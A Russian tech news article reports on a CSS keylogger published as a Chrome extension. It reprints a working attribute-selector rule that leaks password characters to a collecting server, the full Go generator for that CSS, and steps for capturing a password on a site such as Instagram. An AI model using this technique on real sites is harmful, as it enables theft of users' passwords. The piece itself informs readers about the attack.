Энтузиаст создал кейлоггер на CSS

Независимый разработчик Макс Чихаб (Max Chehab) поделился своим CSS-кейлоггером на GitHub. Инструмент представлен в виде расширения для браузера Chrome.

Принцип работы

Используя селекторы атрибутов, можно запрашивать ресурсы с внешнего сервера под видом загрузки фонового изображения.

Например, следующий CSS выберет все формы ввода с типом password и значением value, заканчивающимся на «а», и затем попытается загрузить фотографию из http://localhost:3000/a:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

С помощью простого скрипта можно создать CSS-файл, который будет посылать опциональные запросы для каждого символа ASCII:

package main

import (
	"fmt"
	"log"
	"net/url"
	"os"
)

func main() {
	fmt.Println("Building keylogger.css")

	output, err := os.Create("./css-keylogger-extension/keylogger.css")
	if err != nil {
		log.Fatal("Cannot create output", err)
	}
	defer output.Close()
	for c := 32; c < 128; c++ {
		value := fmt.Sprintf("%c", c)
		urlValue := url.QueryEscape(value)

		if value == `"` {
			value = `\"`
		} else if value == `}` {
			value = `\\}`
		} else if value == `\` {
			value = `\\`
		}
		fmt.Fprintf(output, `input[type="password"][value$="%v"] { background-image: url("http://localhost:3000/%v"); }`, value, urlValue)
		fmt.Fprintf(output, "\n")
	}
	fmt.Println("Complete.")
}

Как пользоваться?

  1. Открыть веб-сайт, использующий компонентный фреймворк вроде React (например, https://instagram.com).
  2. Нажать на расширение C в правом верхнем углу на любой странице.
  3. Ввести свой пароль.
  4. Пароль будет перехвачен express-сервером.

Подробности по установке и настройке расширения можно найти в источнике.

Каскадные таблицы стилей становятся популярным инструментом для проведения хакерских атак. Напомним, что в январе был создан прототип системы для отслеживания ряда пользовательских действий на чистом CSS. А в начале февраля у исследователей получилось использовать CSS для кражи токенов CRSF и персональных данных.

Источник: GitHub

Подобрали три теста для вас:
— А здесь можно применить блокчейн?
Серверы для котиков: выберите лучшее решение для проекта и проверьте себя.
Сложный тест по C# — проверьте свои знания.

Также рекомендуем: